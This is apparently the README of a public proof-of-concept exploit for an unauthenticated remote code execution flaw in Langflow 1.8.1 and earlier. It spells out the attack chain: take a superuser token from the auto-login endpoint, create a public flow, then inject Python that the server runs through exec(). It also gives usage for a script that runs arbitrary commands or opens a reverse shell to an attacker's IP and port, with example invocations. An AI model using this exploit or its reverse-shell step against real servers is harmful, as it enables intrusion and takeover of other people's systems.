omer-efe-curkus/cve-2026-33017-langflow-rce-pocThe vulnerability in Langflow 1.8.1 and earlier allows a remote, unauthenticated attacker to achieve arbitrary command execution on the host.
The vulnerability in Langflow 1.8.1 and earlier allows a remote, unauthenticated attacker to achieve arbitrary command execution on the host.
The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint permits anyone to build public flows without authentication.
By supplying the optional data parameter, an attacker can override the stored flow with their own crafted definition, embedding arbitrary Python code within node configurations. This user-controlled code is executed via exec() with no sandboxing or validation, leading to unauthenticated remote code execution.
Langflow 1.8.1 and earlier
AUTO_LOGIN=trueWhen AUTO_LOGIN=true (default configuration), an unauthenticated attacker can satisfy all conditions:
GET /api/v1/auto_login → obtain a superuser tokenPOST /api/v1/flows/ → create a public flowbuild_public_tmp without any authenticationpython cve-2026-33017.py <host> [options]
Options:
-p PORT, --port PORT: SSH port (default: 7860)
-id FLOW_ID, --flow_id FLOW_ID: Public Flow ID (a new one will be created if omitted)
-c COMMAND, --command COMMAND: Custom command to execute
--shell: Launch a reverse shell
--lhost LHOST: Attacker's IP for reverse shell
--lport LPORT: Attacker's port for reverse shell (default: 4444)
-t TIMEOUT, --timeout TIMEOUT: Connection timeout in seconds (default: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
This PoC is for educational and research purposes only. Use it at your own risk. The author is not responsible for any misuse or damage caused.